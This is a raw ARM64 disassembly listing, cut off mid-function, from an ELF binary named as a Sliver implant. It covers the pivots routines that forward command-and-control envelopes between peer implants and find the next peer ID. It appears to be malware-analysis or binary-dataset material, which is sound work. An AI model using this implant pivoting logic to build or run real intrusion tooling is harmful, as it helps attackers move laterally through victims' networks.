File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    0042b8e0
    0042b8e0github.com/bishopfox/sliver/implant/sliver/pivots.SendToPeer: ; void github.com/bishopfox/sliver/implant/sliver/pivots.SendToPeer(github.com/bishopfox/sliver/protobuf/sliverpb.Envelope * envelope)
    0042b8e0ldr x16, [x28+16]
    0042b8e4sub x17, sp, 336
    0042b8e8subs xzr, x17, x16
    0042b8ecb.ls 0x42bdc4
    0042b8f0sub x20, sp, 464
    0042b8f4stp x29, x30, [x20-8]
    0042b8f8add sp, x20, 0
    0042b8fcsub x29, sp, 8
    0042b900str x0, [sp+472]
    0042b904strb wzr, [sp+62]
    0042b908stp xzr, xzr, [sp+88]
    0042b90cadrp x0, 0x260000
    0042b910add x0, x0, 96
    0042b914bl runtime.newobject
    0042b918str x0, [sp+384]
    0042b91cadrp x27, 0x620000
    0042b920ldr w1, [x27+3056]
    0042b924cbz w1, 0x42b92c
    0042b928b 0x42b930
    0042b92c
    0042b92cloc_42b92c:
    0042b92cb 0x42b94c
    0042b930
    0042b930loc_42b930:
    0042b930str x0, [sp+152]
    0042b934mov x1, x0
    0042b938adrp x0, 0x260000
    0042b93cadd x0, x0, 96
    0042b940bl runtime.wbZero
    0042b944ldr x0, [sp+152]
    0042b948b 0x42b94c
    0042b94c
    0042b94cloc_42b94c:
    0042b94cmov x20, x0
    0042b950adr x27, 16
    0042b954stp x29, x27, [sp-24]
    0042b958sub x29, sp, 24
    0042b95cbl fn_87cf0
    0042b960sub x29, sp, 8
    0042b964ldr x5, [sp+384]
    0042b968str x5, [sp+104]
    0042b96cstr x5, [sp+128]
    0042b970ldr x5, [sp+472]
    0042b974ldrsb x27, [x5]
    0042b978ldr x0, [x5+24]
    0042b97cldr x1, [x5+32]
    0042b980ldr x2, [x5+40]
    0042b984str x0, [sp+360]
    0042b988str x1, [sp+368]
    0042b98cstr x2, [sp+376]
    0042b990ldr x4, [sp+128]
    0042b994adrp x3, 0x2e9000
    0042b998add x3, x3, 1248
    0042b99cbl google.golang.org/protobuf/proto.Unmarshal
    0042b9a0str x0, [sp+112]
    0042b9a4str x1, [sp+120]
    0042b9a8cbnz x0, 0x42b9b0
    0042b9acb 0x42ba84
    0042b9b0
    0042b9b0loc_42b9b0:
    0042b9b0stp xzr, xzr, [sp+440]
    0042b9b4add x5, sp, 440
    0042b9b8str x5, [sp+328]
    0042b9bcldr x5, [sp+112]
    0042b9c0ldr x6, [sp+120]
    0042b9c4str x5, [sp+312]
    0042b9c8str x6, [sp+320]
    0042b9ccstr x5, [sp+304]
    0042b9d0ldr x5, [sp+304]
    0042b9d4cbnz x5, 0x42b9dc
    0042b9d8b 0x42b9ec
    0042b9dc
    0042b9dcloc_42b9dc:
    0042b9dcldr x5, [sp+304]
    0042b9e0ldr x5, [x5+8]
    0042b9e4str x5, [sp+304]
    0042b9e8b 0x42b9f0
    0042b9ec
    0042b9ecloc_42b9ec:
    0042b9ecb 0x42b9f0
    0042b9f0
    0042b9f0loc_42b9f0:
    0042b9f0ldr x5, [sp+328]
    0042b9f4ldrsb x27, [x5]
    0042b9f8ldr x6, [sp+304]
    0042b9fcldr x7, [sp+320]
    0042ba00str x6, [x5]
    0042ba04adrp x27, 0x620000
    0042ba08ldr w6, [x27+3056]
    0042ba0ccbz w6, 0x42ba14
    0042ba10b 0x42ba18
    0042ba14
    0042ba14loc_42ba14:
    0042ba14b 0x42ba2c
    0042ba18
    0042ba18loc_42ba18:
    0042ba18bl runtime.gcWriteBarrier2
    0042ba1cstr x7, [x25]
    0042ba20ldr x6, [x5+8]
    0042ba24str x6, [x25+8]
    0042ba28b 0x42ba2c
    0042ba2c
    0042ba2cloc_42ba2c:
    0042ba2cstr x7, [x5+8]
    0042ba30ldr x2, [sp+328]
    0042ba34ldrsb x27, [x2]
    0042ba38b 0x42ba3c
    0042ba3c
    0042ba3cloc_42ba3c:
    0042ba3cstr x2, [sp+336]
    0042ba40orr x4, xzr, 1
    0042ba44str x4, [sp+344]
    0042ba48str x4, [sp+352]
    0042ba4cadrp x0, 0x297000
    0042ba50add x0, x0, 321
    0042ba54movz x1, 37
    0042ba58mov x3, x4
    0042ba5cbl log.Printf
    0042ba60strb wzr, [sp+62]
    0042ba64ldr x1, [sp+112]
    0042ba68ldr x2, [sp+120]
    0042ba6cstr x1, [sp+88]
    0042ba70str x2, [sp+96]
    0042ba74ldrb w0, [sp+62]
    0042ba78ldp x29, x30, [sp-8]
    0042ba7cadd sp, sp, 464
    0042ba80ret x30
    0042ba84
    0042ba84loc_42ba84:
    0042ba84ldr x5, [sp+104]
    0042ba88str x5, [sp+128]
    0042ba8cstp xzr, xzr, [sp+440]
    0042ba90add x5, sp, 440
    0042ba94str x5, [sp+272]
    0042ba98ldr x5, [sp+128]
    0042ba9cstr x5, [sp+264]
    0042baa0ldr x6, [sp+272]
    0042baa4ldrsb x27, [x6]
    0042baa8adrp x7, 0x250000
    0042baacadd x7, x7, 800
    0042bab0str x7, [x6]
    0042bab4adrp x27, 0x620000
    0042bab8ldr w7, [x27+3056]
    0042babccbz w7, 0x42bac4
    0042bac0b 0x42bac8
    0042bac4
    0042bac4loc_42bac4:
    0042bac4b 0x42badc
    0042bac8
    0042bac8loc_42bac8:
    0042bac8bl runtime.gcWriteBarrier2
    0042baccstr x5, [x25]
    0042bad0ldr x7, [x6+8]
    0042bad4str x7, [x25+8]
    0042bad8b 0x42badc
    0042badc
    0042badcloc_42badc:
    0042badcstr x5, [x6+8]
    0042bae0ldr x2, [sp+272]
    0042bae4ldrsb x27, [x2]
    0042bae8b 0x42baec
    0042baec
    0042baecloc_42baec:
    0042baecstr x2, [sp+280]
    0042baf0orr x4, xzr, 1
    0042baf4str x4, [sp+288]
    0042baf8str x4, [sp+296]
    0042bafcadrp x0, 0x28c000
    0042bb00add x0, x0, 942
    0042bb04movz x1, 21
    0042bb08mov x3, x4
    0042bb0cbl log.Printf
    0042bb10stp xzr, xzr, [sp+424]
    0042bb14ldr x0, [sp+104]
    0042bb18bl github.com/bishopfox/sliver/implant/sliver/pivots.findNextPeerID
    0042bb1cstr x0, [sp+80]
    0042bb20str x1, [sp+424]
    0042bb24str x2, [sp+432]
    0042bb28ldr x5, [sp+80]
    0042bb2cstr x5, [sp+72]
    0042bb30str x1, [sp+136]
    0042bb34str x2, [sp+144]
    0042bb38ldr x5, [sp+72]
    0042bb3cstr x5, [sp+64]
    0042bb40str x1, [sp+112]
    0042bb44str x2, [sp+120]
    0042bb48cbnz x1, 0x42bb50
    0042bb4cb 0x42bc24
    0042bb50
    0042bb50loc_42bb50:
    0042bb50stp xzr, xzr, [sp+440]
    0042bb54add x5, sp, 440
    0042bb58str x5, [sp+232]
    0042bb5cldr x5, [sp+112]
    0042bb60ldr x6, [sp+120]
    0042bb64str x5, [sp+216]
    0042bb68str x6, [sp+224]
    0042bb6cstr x5, [sp+208]
    0042bb70ldr x5, [sp+208]
    0042bb74cbnz x5, 0x42bb7c
    0042bb78b 0x42bb8c
    0042bb7c
    0042bb7cloc_42bb7c:
    0042bb7cldr x5, [sp+208]
    0042bb80ldr x5, [x5+8]
    0042bb84str x5, [sp+208]
    0042bb88b 0x42bb90
    0042bb8c
    0042bb8cloc_42bb8c:
    0042bb8cb 0x42bb90
    0042bb90
    0042bb90loc_42bb90:
    0042bb90ldr x5, [sp+232]
    0042bb94ldrsb x27, [x5]
    0042bb98ldr x6, [sp+208]
    0042bb9cldr x7, [sp+224]
    0042bba0str x6, [x5]
    0042bba4adrp x27, 0x620000
    0042bba8ldr w6, [x27+3056]
    0042bbaccbz w6, 0x42bbb4
    0042bbb0b 0x42bbb8
    0042bbb4
    0042bbb4loc_42bbb4:
    0042bbb4b 0x42bbcc
    0042bbb8
    0042bbb8loc_42bbb8:
    0042bbb8bl runtime.gcWriteBarrier2
    0042bbbcstr x7, [x25]
    0042bbc0ldr x6, [x5+8]
    0042bbc4str x6, [x25+8]
    0042bbc8b 0x42bbcc
    0042bbcc
    0042bbccloc_42bbcc:
    0042bbccstr x7, [x5+8]
    0042bbd0ldr x2, [sp+232]
    0042bbd4ldrsb x27, [x2]
    0042bbd8b 0x42bbdc
    0042bbdc
    0042bbdcloc_42bbdc:
    0042bbdcstr x2, [sp+240]
    0042bbe0orr x4, xzr, 1
    0042bbe4str x4, [sp+248]
    0042bbe8str x4, [sp+256]
    0042bbecadrp x0, 0x292000
    0042bbf0add x0, x0, 2928
    0042bbf4orr x1, xzr, 31
    0042bbf8mov x3, x4
    0042bbfcbl log.Printf
    0042bc00strb wzr, [sp+62]
    0042bc04ldr x1, [sp+112]
    0042bc08ldr x2, [sp+120]
    0042bc0cstr x1, [sp+88]
    0042bc10str x2, [sp+96]
    0042bc14ldrb w0, [sp+62]
    0042bc18ldp x29, x30, [sp-8]
    0042bc1cadd sp, sp, 464
    0042bc20ret x30
    0042bc24
    0042bc24loc_42bc24:
    0042bc24strb wzr, [sp+63]
    0042bc28stp xzr, xzr, [sp+392]
    0042bc2cstp xzr, xzr, [sp+408]
    0042bc30add x2, sp, 392
    0042bc34str x2, [sp+200]
    0042bc38ldrsb x27, [x2]
    0042bc3cadrp x3, 0
    0042bc40add x3, x3, 3552
    0042bc44str x3, [x2]
    0042bc48ldrsb x27, [x2]
    0042bc4cldr x3, [sp+64]
    0042bc50str x3, [x2+8]
    0042bc54ldrsb x27, [x2]
    0042bc58ldr x3, [sp+472]
    0042bc5cadrp x27, 0x620000
    0042bc60ldr w4, [x27+3056]
    0042bc64cbz w4, 0x42bc6c
    0042bc68b 0x42bc70
    0042bc6c
    0042bc6cloc_42bc6c:
    0042bc6cb 0x42bc84
    0042bc70
    0042bc70loc_42bc70:
    0042bc70bl runtime.gcWriteBarrier2
    0042bc74str x3, [x25]
    0042bc78ldr x4, [x2+16]
    0042bc7cstr x4, [x25+8]
    0042bc80b 0x42bc84
    0042bc84
    0042bc84loc_42bc84:
    0042bc84str x3, [x2+16]
    0042bc88ldrsb x27, [x2]
    0042bc8cadrp x27, 0x620000
    0042bc90ldr w3, [x27+3056]
    0042bc94cbz w3, 0x42bc9c
    0042bc98b 0x42bca0
    0042bc9c
    0042bc9cloc_42bc9c:
    0042bc9cb 0x42bcb8
    0042bca0
    0042bca0loc_42bca0:
    0042bca0bl runtime.gcWriteBarrier2
    0042bca4add x3, sp, 63
    0042bca8str x3, [x25]
    0042bcacldr x4, [x2+24]
    0042bcb0str x4, [x25+8]
    0042bcb4b 0x42bcb8
    0042bcb8
    0042bcb8loc_42bcb8:
    0042bcb8add x3, sp, 63
    0042bcbcstr x3, [x2+24]
    0042bcc0adrp x27, 0x5e2000
    0042bcc4ldr x0, [x27+16]
    0042bcc8ldr x1, [sp+200]
    0042bcccbl sync.(*Map).Range
    0042bcd0ldrb w2, [sp+63]
    0042bcd4tbnz w2, 0, 0x42bcdc
    0042bcd8b 0x42bd00
    0042bcdc
    0042bcdcloc_42bcdc:
    0042bcdcldrb w3, [sp+63]
    0042bce0strb w3, [sp+62]
    0042bce4stp xzr, xzr, [sp+88]
    0042bce8ldrb w0, [sp+62]
    0042bcecmov x1, xzr
    0042bcf0mov x2, xzr
    0042bcf4ldp x29, x30, [sp-8]
    0042bcf8add sp, sp, 464
    0042bcfcret x30
    0042bd00
    0042bd00loc_42bd00:
    0042bd00stp xzr, xzr, [sp+440]
    0042bd04add x1, sp, 440
    0042bd08str x1, [sp+168]
    0042bd0cldr x0, [sp+64]
    0042bd10bl runtime.convT64
    0042bd14str x0, [sp+160]
    0042bd18ldr x1, [sp+168]
    0042bd1cldrsb x27, [x1]
    0042bd20adrp x2, 0x1ca000
    0042bd24add x2, x2, 3392
    0042bd28str x2, [x1]
    0042bd2cadrp x27, 0x620000
    0042bd30ldr w2, [x27+3056]
    0042bd34cbz w2, 0x42bd3c
    0042bd38b 0x42bd40
    0042bd3c
    0042bd3cloc_42bd3c:
    0042bd3cb 0x42bd54
    0042bd40
    0042bd40loc_42bd40:
    0042bd40bl runtime.gcWriteBarrier2
    0042bd44str x0, [x25]
    0042bd48ldr x5, [x1+8]
    0042bd4cstr x5, [x25+8]
    0042bd50b 0x42bd54
    0042bd54
    0042bd54loc_42bd54:
    0042bd54str x0, [x1+8]
    0042bd58ldr x2, [sp+168]
    0042bd5cldrsb x27, [x2]
    0042bd60b 0x42bd64
    0042bd64
    0042bd64loc_42bd64:
    0042bd64str x2, [sp+176]
    0042bd68orr x4, xzr, 1
    0042bd6cstr x4, [sp+184]
    0042bd70str x4, [sp+192]
    0042bd74adrp x0, 0x292000
    0042bd78add x0, x0, 502
    0042bd7corr x1, xzr, 30
    0042bd80mov x3, x4
    0042bd84bl log.Printf
    0042bd88adrp x0, 0x288000
    0042bd8cadd x0, x0, 3584
    0042bd90orr x1, xzr, 14
    0042bd94bl errors.New
    0042bd98str x0, [sp+424]
    0042bd9cstr x1, [sp+432]
    0042bda0strb wzr, [sp+62]
    0042bda4ldr x1, [sp+424]
    0042bda8ldr x2, [sp+432]
    0042bdacstr x1, [sp+88]
    0042bdb0str x2, [sp+96]
    0042bdb4ldrb w0, [sp+62]
    0042bdb8ldp x29, x30, [sp-8]
    0042bdbcadd sp, sp, 464
    0042bdc0ret x30
    0042bdc4
    0042bdc4loc_42bdc4:
    0042bdc4str x0, [sp+8]
    0042bdc8mov x3, x30
    0042bdccbl runtime.morestack_noctxt.abi0
    0042bdd0ldr x0, [sp+8]
    0042bdd4b 0x42b8e0
    0042bdd8udf 0
    0042bddcudf 0
    0042b8e0
    0042bde0
    0042bde0github.com/bishopfox/sliver/implant/sliver/pivots.SendToPeer.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.SendToPeer.func1(interface {} key, interface {} value)
    0042bde0ldr x16, [x28+16]
    0042bde4sub x17, sp, 32
    0042bde8subs xzr, x17, x16
    0042bdecb.ls 0x42bf48
    0042bdf0str x30, [sp-160]!
    0042bdf4stur x29, [sp-8]
    0042bdf8sub x29, sp, 8
    0042bdfcstr x0, [sp+168]
    0042be00str x1, [sp+176]
    0042be04str x2, [sp+184]
    0042be08str x3, [sp+192]
    0042be0cldr x3, [x26+8]
    0042be10str x3, [sp+40]
    0042be14add x3, x26, 16
    0042be18str x3, [sp+144]
    0042be1cldr x3, [x26+24]
    0042be20str x3, [sp+136]
    0042be24strb wzr, [sp+36]
    0042be28ldr x0, [sp+184]
    0042be2cldr x3, [sp+192]
    0042be30adrp x1, 0x1fd000
    0042be34add x1, x1, 2528
    0042be38subs xzr, x0, x1
    0042be3cb.eq 0x42be44
    0042be40b 0x42bf38
    0042be44
    0042be44loc_42be44:
    0042be44str x3, [sp+80]
    0042be48stp xzr, xzr, [sp+88]
    0042be4cldr x3, [sp+40]
    0042be50str x3, [sp+48]
    0042be54ldr x3, [sp+80]
    0042be58ldrsb x27, [x3]
    0042be5cldr x0, [x3+24]
    0042be60str x0, [sp+128]
    0042be64adrp x1, 0x1ca000
    0042be68add x1, x1, 3392
    0042be6cadd x2, sp, 48
    0042be70bl sync.(*Map).Load
    0042be74str x0, [sp+88]
    0042be78str x1, [sp+96]
    0042be7cstrb w2, [sp+39]
    0042be80ldr x3, [sp+88]
    0042be84ldr x4, [sp+96]
    0042be88str x3, [sp+104]
    0042be8cstr x4, [sp+112]
    0042be90ldrb w3, [sp+39]
    0042be94strb w3, [sp+38]
    0042be98ldr x3, [sp+104]
    0042be9cldr x4, [sp+112]
    0042bea0str x3, [sp+56]
    0042bea4str x4, [sp+64]
    0042bea8ldrb w3, [sp+38]
    0042beacstrb w3, [sp+37]
    0042beb0tbnz w3, 0, 0x42beb8
    0042beb4b 0x42bf10
    0042beb8
    0042beb8loc_42beb8:
    0042beb8ldr x0, [sp+56]
    0042bebcldr x3, [sp+64]
    0042bec0adrp x1, 0x255000
    0042bec4add x1, x1, 2080
    0042bec8subs xzr, x0, x1
    0042beccb.eq 0x42bed4
    0042bed0b 0x42bf2c
    0042bed4
    0042bed4loc_42bed4:
    0042bed4str x3, [sp+72]
    0042bed8ldrsb x27, [x3]
    0042bedcldr x2, [x3+72]
    0042bee0str x2, [sp+120]
    0042bee4ldr x1, [sp+144]
    0042bee8ldr x0, [sp+120]
    0042beecbl runtime.chansend1
    0042bef0ldr x2, [sp+136]
    0042bef4orr x3, xzr, 1
    0042bef8strb w3, [x2]
    0042befcstrb wzr, [sp+36]
    0042bf00mov x0, xzr
    0042bf04ldur x29, [sp-8]
    0042bf08ldr x30, [sp], 160
    0042bf0cret x30
    0042bf10
    0042bf10loc_42bf10:
    0042bf10ldr x1, [sp+136]
    0042bf14ldrb w1, [x1]
    0042bf18eor x0, x1, 1
    0042bf1cstrb w0, [sp+36]
    0042bf20ldur x29, [sp-8]
    0042bf24ldr x30, [sp], 160
    0042bf28ret x30
    0042bf2c
    0042bf2cloc_42bf2c:
    0042bf2cadrp x2, 0x1df000
    0042bf30add x2, x2, 3520
    0042bf34bl runtime.panicdottypeE
    0042bf38
    0042bf38loc_42bf38:
    0042bf38adrp x2, 0x1df000
    0042bf3cadd x2, x2, 3520
    0042bf40bl runtime.panicdottypeE
    0042bf44hint
    0042bf48
    0042bf48loc_42bf48:
    0042bf48stp x0, x1, [sp+8]
    0042bf4cstp x2, x3, [sp+24]
    0042bf50mov x3, x30
    0042bf54bl runtime.morestack.abi0
    0042bf58ldp x0, x1, [sp+8]
    0042bf5cldp x2, x3, [sp+24]
    0042bf60b 0x42bde0
    0042bf64udf 0
    0042bf68udf 0
    0042bf6cudf 0
    0042bde0
    0042bf70
    0042bf70github.com/bishopfox/sliver/implant/sliver/pivots.findNextPeerID: ; void github.com/bishopfox/sliver/implant/sliver/pivots.findNextPeerID(github.com/bishopfox/sliver/protobuf/sliverpb.PivotPeerEnvelope * pivotPeerEnvelope)
    0042bf70ldr x16, [x28+16]
    0042bf74subs xzr, sp, x16
    0042bf78b.ls 0x42c0d4
    0042bf7cstr x30, [sp-128]!
    0042bf80stur x29, [sp-8]
    0042bf84sub x29, sp, 8
    0042bf88str x0, [sp+136]
    0042bf8cstr xzr, [sp+24]
    0042bf90stp xzr, xzr, [sp+56]
    0042bf94ldr x3, [sp+136]
    0042bf98ldrsb x27, [x3]
    0042bf9cldr x4, [x3+16]
    0042bfa0ldr x5, [x3+8]
    0042bfa4ldr x3, [x3+24]
    0042bfa8str x5, [sp+96]
    0042bfacstr x4, [sp+104]
    0042bfb0str x3, [sp+112]
    0042bfb4str xzr, [sp+48]
    0042bfb8str x4, [sp+40]
    0042bfbcb 0x42bfc0
    0042bfc0
    0042bfc0loc_42bfc0:
    0042bfc0ldr x3, [sp+40]
    0042bfc4ldr x4, [sp+48]
    0042bfc8subs xzr, x3, x4
    0042bfccb.gt 0x42bfd4
    0042bfd0b 0x42c084
    0042bfd4
    0042bfd4loc_42bfd4:
    0042bfd4ldr x3, [sp+48]
    0042bfd8str x3, [sp+32]
    0042bfdcldr x3, [sp+48]
    0042bfe0ldr x4, [sp+96]
    0042bfe4ldr x3, [x4+3*x3]
    0042bfe8str x3, [sp+72]
    0042bfecldrsb x27, [x3]
    0042bff0ldr x3, [x3+8]
    0042bff4adrp x27, 0x620000
    0042bff8ldr x4, [x27+2144]
    0042bffcsubs xzr, x4, x3
    0042c000b.eq 0x42c008
    0042c004b 0x42c06c
    0042c008
    0042c008loc_42c008:
    0042c008ldr x3, [sp+32]
    0042c00csub x3, x3, 1
    0042c010tbz x3, 63, 0x42c018
    0042c014b 0x42c068
    0042c018
    0042c018loc_42c018:
    0042c018ldr x3, [sp+136]
    0042c01cldrsb x27, [x3]
    0042c020ldr x1, [x3+16]
    0042c024ldr x3, [x3+8]
    0042c028ldr x4, [sp+32]
    0042c02csub x0, x4, 1
    0042c030subs xzr, x1, x0
    0042c034b.hi 0x42c03c
    0042c038b 0x42c0cc
    0042c03c
    0042c03cloc_42c03c:
    0042c03cldr x3, [x3+3*x0]
    0042c040ldrsb x27, [x3]
    0042c044ldr x3, [x3+8]
    0042c048str x3, [sp+24]
    0042c04cstp xzr, xzr, [sp+56]
    0042c050ldr x0, [sp+24]
    0042c054mov x1, xzr
    0042c058mov x2, xzr
    0042c05cldur x29, [sp-8]
    0042c060ldr x30, [sp], 128
    0042c064ret x30
    0042c068
    0042c068loc_42c068:
    0042c068b 0x42c070
    0042c06c
    0042c06cloc_42c06c:
    0042c06cb 0x42c070
    0042c070
    0042c070loc_42c070:
    0042c070b 0x42c074
    0042c074
    0042c074loc_42c074:
    0042c074ldr x3, [sp+48]
    0042c078add x3, x3, 1
    0042c07cstr x3, [sp+48]
    0042c080b 0x42bfc0
    0042c084
    0042c084loc_42c084:
    0042c084adrp x0, 0x28a000
    0042c088add x0, x0, 529
    0042c08cmovz x1, 19
    0042c090bl errors.New
    0042c094str x0, [sp+80]
    0042c098str x1, [sp+88]
    0042c09cstr xzr, [sp+24]
    0042c0a0str x0, [sp+56]
    0042c0a4str x1, [sp+64]
    0042c0a8ldr x2, [sp+24]
    0042c0acmov x3, x0
    0042c0b0mov x0, x2
    0042c0b4mov x4, x1
    0042c0b8mov x1, x3
    0042c0bcmov x2, x4
    0042c0c0ldur x29, [sp-8]
    0042c0c4ldr x30, [sp], 128
    0042c0c8ret x30
    0042c0cc
    0042c0ccloc_42c0cc:
    0042c0ccbl runtime.panicIndex
    0042c0d0hint
    0042c0d4
    0042c0d4loc_42c0d4:
    0042c0d4str x0, [sp+8]
    0042c0d8mov x3, x30
    0042c0dcbl runtime.morestack_noctxt.abi0
    0042c0e0ldr x0, [sp+8]
    0042c0e4b 0x42bf70
    0042c0e8udf 0
    0042c0ecudf 0
    0042bf70
    0042c0f0
    0042c0f0github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf(github.com/bishopfox/sliver/implant/sliver/pivots.PivotListener * l)
    0042c0f0ldr x16, [x28+16]
    0042c0f4sub x17, sp, 32
    0042c0f8subs xzr, x17, x16
    0042c0fcb.ls 0x42c2cc
    0042c100str x30, [sp-160]!
    0042c104stur x29, [sp-8]
    0042c108sub x29, sp, 8
    0042c10cstr x0, [sp+168]
    0042c110str xzr, [sp+40]
    0042c114adrp x2, 0x61f000
    0042c118add x2, x2, 1504
    0042c11cstr x2, [sp+104]
    0042c120b 0x42c124
    0042c124
    0042c124loc_42c124:
    0042c124str x2, [sp+112]
    0042c128stp xzr, xzr, [sp+120]
    0042c12cstr x2, [sp+48]
    0042c130stp xzr, xzr, [sp+56]
    0042c134stp xzr, xzr, [sp+136]
    0042c138add x2, sp, 136
    0042c13cstr x2, [sp+96]
    0042c140ldrsb x27, [x2]
    0042c144adrp x3, 0
    0042c148add x3, x3, 736
    0042c14cstr x3, [x2]
    0042c150ldrsb x27, [x2]
    0042c154adrp x27, 0x61f000
    0042c158ldr w3, [x27+3056]
    0042c15ccbz w3, 0x42c164
    0042c160b 0x42c168
    0042c164
    0042c164loc_42c164:
    0042c164b 0x42c180
    0042c168
    0042c168loc_42c168:
    0042c168bl runtime.gcWriteBarrier2
    0042c16cadd x3, sp, 48
    0042c170str x3, [x25]
    0042c174ldr x4, [x2+8]
    0042c178str x4, [x25+8]
    0042c17cb 0x42c180
    0042c180
    0042c180loc_42c180:
    0042c180add x3, sp, 48
    0042c184str x3, [x2+8]
    0042c188ldr x2, [sp+168]
    0042c18cldrsb x27, [x2]
    0042c190ldr x0, [x2+24]
    0042c194str x0, [sp+88]
    0042c198ldr x1, [sp+96]
    0042c19cbl sync.(*Map).Range
    0042c1a0adrp x0, 0x25e000
    0042c1a4add x0, x0, 736
    0042c1a8bl runtime.newobject
    0042c1acstr x0, [sp+80]
    0042c1b0adrp x27, 0x61f000
    0042c1b4ldr w2, [x27+3056]
    0042c1b8cbz w2, 0x42c1c0
    0042c1bcb 0x42c1c4
    0042c1c0
    0042c1c0loc_42c1c0:
    0042c1c0b 0x42c1e0
    0042c1c4
    0042c1c4loc_42c1c4:
    0042c1c4str x0, [sp+72]
    0042c1c8mov x1, x0
    0042c1ccadrp x0, 0x25e000
    0042c1d0add x0, x0, 736
    0042c1d4bl runtime.wbZero
    0042c1d8ldr x0, [sp+72]
    0042c1dcb 0x42c1e0
    0042c1e0
    0042c1e0loc_42c1e0:
    0042c1e0mov x20, x0
    0042c1e4adr x27, 16
    0042c1e8stp x29, x27, [sp-24]
    0042c1ecsub x29, sp, 24
    0042c1f0bl fn_87cf8
    0042c1f4sub x29, sp, 8
    0042c1f8ldr x1, [sp+80]
    0042c1fcldrsb x27, [x1]
    0042c200ldr x2, [sp+168]
    0042c204ldrsb x27, [x2]
    0042c208ldr w2, [x2]
    0042c20cstr w2, [x1+8]
    0042c210ldr x1, [sp+80]
    0042c214ldrsb x27, [x1]
    0042c218ldr x2, [sp+168]
    0042c21cldrsb x27, [x2]
    0042c220ldrsw x2, [x2+4]
    0042c224str w2, [x1+12]
    0042c228ldr x1, [sp+80]
    0042c22cldrsb x27, [x1]
    0042c230ldr x2, [sp+168]
    0042c234ldrsb x27, [x2]
    0042c238ldr x3, [x2+32]
    0042c23cldr x2, [x2+40]
    0042c240str x2, [x1+24]
    0042c244adrp x27, 0x61f000
    0042c248ldr w2, [x27+3056]
    0042c24ccbz w2, 0x42c254
    0042c250b 0x42c258
    0042c254
    0042c254loc_42c254:
    0042c254b 0x42c26c
    0042c258
    0042c258loc_42c258:
    0042c258bl runtime.gcWriteBarrier2
    0042c25cstr x3, [x25]
    0042c260ldr x2, [x1+16]
    0042c264str x2, [x25+8]
    0042c268b 0x42c26c
    0042c26c
    0042c26cloc_42c26c:
    0042c26cstr x3, [x1+16]
    0042c270ldr x1, [sp+80]
    0042c274ldrsb x27, [x1]
    0042c278ldr x2, [sp+48]
    0042c27cldr x3, [sp+56]
    0042c280ldr x4, [sp+64]
    0042c284str x3, [x1+40]
    0042c288str x4, [x1+48]
    0042c28cadrp x27, 0x61f000
    0042c290ldr w3, [x27+3056]
    0042c294cbz w3, 0x42c29c
    0042c298b 0x42c2a0
    0042c29c
    0042c29cloc_42c29c:
    0042c29cb 0x42c2b4
    0042c2a0
    0042c2a0loc_42c2a0:
    0042c2a0bl runtime.gcWriteBarrier2
    0042c2a4str x2, [x25]
    0042c2a8ldr x3, [x1+32]
    0042c2acstr x3, [x25+8]
    0042c2b0b 0x42c2b4
    0042c2b4
    0042c2b4loc_42c2b4:
    0042c2b4str x2, [x1+32]
    0042c2b8ldr x0, [sp+80]
    0042c2bcstr x0, [sp+40]
    0042c2c0ldur x29, [sp-8]
    0042c2c4ldr x30, [sp], 160
    0042c2c8ret x30
    0042c2cc
    0042c2ccloc_42c2cc:
    0042c2ccstr x0, [sp+8]
    0042c2d0mov x3, x30
    0042c2d4bl runtime.morestack_noctxt.abi0
    0042c2d8ldr x0, [sp+8]
    0042c2dcb 0x42c0f0
    0042c0f0
    0042c2e0
    0042c2e0github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf.func1(interface {} key, interface {} value)
    0042c2e0ldr x16, [x28+16]
    0042c2e4subs xzr, sp, x16
    0042c2e8b.ls 0x42c408
    0042c2ecstr x30, [sp-128]!
    0042c2f0stur x29, [sp-8]
    0042c2f4sub x29, sp, 8
    0042c2f8str x0, [sp+136]
    0042c2fcstr x1, [sp+144]
    0042c300str x2, [sp+152]
    0042c304str x3, [sp+160]
    0042c308ldr x3, [x26+8]
    0042c30cstr x3, [sp+112]
    0042c310strb wzr, [sp+95]
    0042c314ldr x0, [sp+152]
    0042c318ldr x3, [sp+160]
    0042c31cadrp x1, 0x254000
    0042c320add x1, x1, 2080
    0042c324subs xzr, x0, x1
    0042c328b.eq 0x42c330
    0042c32cb 0x42c3f8
    0042c330
    0042c330loc_42c330:
    0042c330str x3, [sp+96]
    0042c334mov x0, x3
    0042c338bl github.com/bishopfox/sliver/implant/sliver/pivots.(*NetConnPivot).ToProtobuf
    0042c33cstr x0, [sp+104]
    0042c340ldr x1, [sp+112]
    0042c344ldr x2, [x1+16]
    0042c348ldr x0, [x1]
    0042c34cldr x1, [x1+8]
    0042c350add x1, x1, 1
    0042c354subs xzr, x2, x1
    0042c358b.hs 0x42c360
    0042c35cb 0x42c364
    0042c360
    0042c360loc_42c360:
    0042c360b 0x42c378
    0042c364
    0042c364loc_42c364:
    0042c364orr x3, xzr, 1
    0042c368adrp x4, 0x232000
    0042c36cadd x4, x4, 2208
    0042c370bl runtime.growslice
    0042c374b 0x42c378
    0042c378
    0042c378loc_42c378:
    0042c378sub x3, x1, 1
    0042c37cldr x4, [sp+104]
    0042c380adrp x27, 0x61f000
    0042c384ldr w5, [x27+3056]
    0042c388cbz w5, 0x42c390
    0042c38cb 0x42c394
    0042c390
    0042c390loc_42c390:
    0042c390b 0x42c3a8
    0042c394
    0042c394loc_42c394:
    0042c394bl runtime.gcWriteBarrier2
    0042c398str x4, [x25]
    0042c39cldr x5, [x0+3*x3]
    0042c3a0str x5, [x25+8]
    0042c3a4b 0x42c3a8
    0042c3a8
    0042c3a8loc_42c3a8:
    0042c3a8str x4, [x0+3*x3]
    0042c3acldr x3, [sp+112]
    0042c3b0str x1, [x3+8]
    0042c3b4str x2, [x3+16]
    0042c3b8adrp x27, 0x61f000
    0042c3bcldr w1, [x27+3056]
    0042c3c0cbz w1, 0x42c3c8
    0042c3c4b 0x42c3cc
    0042c3c8
    0042c3c8loc_42c3c8:
    0042c3c8b 0x42c3e0
    0042c3cc
    0042c3ccloc_42c3cc:
    0042c3ccbl runtime.gcWriteBarrier2
    0042c3d0str x0, [x25]
    0042c3d4ldr x1, [x3]
